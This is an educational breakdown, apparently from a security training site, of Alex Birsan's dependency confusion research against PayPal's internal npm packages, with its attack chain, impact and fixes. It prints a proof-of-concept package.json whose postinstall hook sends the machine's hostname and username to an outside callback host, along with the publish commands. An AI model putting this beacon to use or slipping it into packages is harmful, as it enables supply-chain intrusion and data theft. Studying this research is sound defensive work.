RCE via dependency confusion (internal npm packages from the public registry)
Alex Birsan's landmark research: by publishing packages on the public npm registry with the same names as a company's private internal packages, build systems pulled the attacker's public version instead - executing his code inside corporate networks. The reason package management is a real attack surface.
Read the original HackerOne reportAlex Birsan's landmark 2021 research demonstrated that publishing a public npm (or PyPI, or RubyGems) package with the same name as a company's private internal package causes corporate build systems to silently pull the attacker's public version - executing arbitrary code inside company networks at the moment of install.
Stay Legal
This breakdown is for educational purposes only. Publishing packages designed to execute code in corporate environments without authorization is illegal and harmful. Alex Birsan coordinated this research responsibly with affected companies through their bug bounty programs. Never replicate this technique without explicit written authorization.
The Target
PayPal's internal build and CI/CD infrastructure - specifically the Node.js (npm) package installation step of internal projects. Like most large engineering organizations, PayPal maintained private internal npm packages hosted on an internal registry (e.g., a private Artifactory or npm Enterprise instance). These packages had names meaningful to internal projects but were not published on the public npm registry.
The Vulnerability
This is Dependency Confusion (also called a namespace confusion or package substitution attack). The root cause is a design assumption in package managers: when a package name exists on both a private registry and the public registry, many package manager configurations - particularly default or naive ones - prefer the public registry's version if it has a higher version number.
The attack chain:
- Attacker discovers the name of an internal private package (from a leaked
package.json, public GitHub repository, or npm error messages in bug reports). - Attacker publishes a package with the same name on the public npm registry, with a very high version number (e.g.,
9.9.9) to ensure it wins the version comparison. - The malicious package's
installscript (orpostinstallhook) contains arbitrary code. - Any developer or CI/CD system that runs
npm installwithout a properly scoped or pinned private registry fetches the attacker's public package instead of the legitimate internal one. - The
postinstallscript executes automatically, running the attacker's code inside the corporate environment.
How It Was Found
Birsan's research began by collecting internal package names from several techniques:
- Publicly visible
package.jsonfiles in company GitHub repositories referencing internal packages. - npm error messages in public issue trackers that mentioned package names that did not exist publicly.
- JavaScript bundle analysis - minified production bundles sometimes contain
require()calls with internal package names.
Once he had a target internal package name, the attack was straightforward to test:
# Birsan's illustrative approach:
# 1. Confirm the package does not yet exist on the public registry
npm search paypal-internal-package-name
# 2. Create a minimal npm package with the internal name
mkdir paypal-internal-package-name && cd paypal-internal-package-name
npm init -yThe package.json included a postinstall script that would phone home when executed:
{
"name": "paypal-internal-package-name",
"version": "9.9.9",
"description": "Security research - dependency confusion PoC",
"scripts": {
"postinstall": "node -e \"require('https').get('https://researcher-callback.com/'+require('os').hostname()+'/'+require('os').userInfo().username);\""
}
}# 3. Publish to the public npm registry
npm publish
# 4. Wait for callback pings - each one represents a corporate machine
# that fetched and installed the malicious public package instead of
# the private internal one. Impact
- Remote code execution inside PayPal's corporate network - the postinstall script ran automatically as part of
npm installon internal build machines and developer workstations. - Birsan kept his payloads to a minimal "phone home" beacon, but a malicious actor could execute any code: dump secrets from environment variables (
AWS_SECRET_ACCESS_KEY, API tokens), exfiltrate source code, install a persistent backdoor, or pivot to internal services. - This same technique worked against dozens of major companies across npm, PyPI, and RubyGems ecosystems.
- PayPal awarded $30,000 - one of the highest bounties in this research campaign.
- The research was published publicly in February 2021 and triggered industry-wide changes to how private registries are configured.
The Fix
The dependency confusion attack is fixed at the package manager configuration level:
- Scope private packages with a company-specific npm scope (e.g.,
@paypal/internal-package). Scoped packages are not confused with public packages because the scope namespace is distinct. - Pin the registry per package using
.npmrc- explicitly route internal package names to the private registry:@paypal:registry=https://internal-registry.paypal.com - Use dependency pinning (exact versions with lock files) so unexpected version upgrades from the public registry cannot sneak in.
- Block internal package names on the public registry - many organizations now "squat" on their internal package names by publishing empty placeholder packages on npm to prevent attackers from registering them.
- Enable registry audit logging - alert on any install of internal-named packages from public sources.
What You Can Learn
- Package managers have a trust order - and the default often favors public registries with higher version numbers. Understanding this is essential for any DevSecOps or CI/CD security review.
- Internal package names leak through many channels.
package.jsonfiles, error messages, production bundles, and job postings ("we use X internally") all expose naming conventions. postinstallscripts run with full user privileges on the installing machine - a package install is effectively arbitrary code execution in the context of the build process.- Supply chain attacks are high leverage. Compromising the build pipeline means every artifact produced from it is potentially compromised - this is far more valuable to an attacker than compromising a single deployed service.
- Scoping is the fundamental fix. Using
@company/package-nameinstead ofpackage-namecreates a namespace that cannot be confused with public packages, because the scope itself must be registered and owned.
Canonical Report
Full technical details are in the original HackerOne disclosure: HackerOne #925585 - RCE via dependency confusion at PayPal. Birsan's full write-up is also essential reading: the blog post "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" describes the research methodology in depth.
Learn the skill behind it
Package Management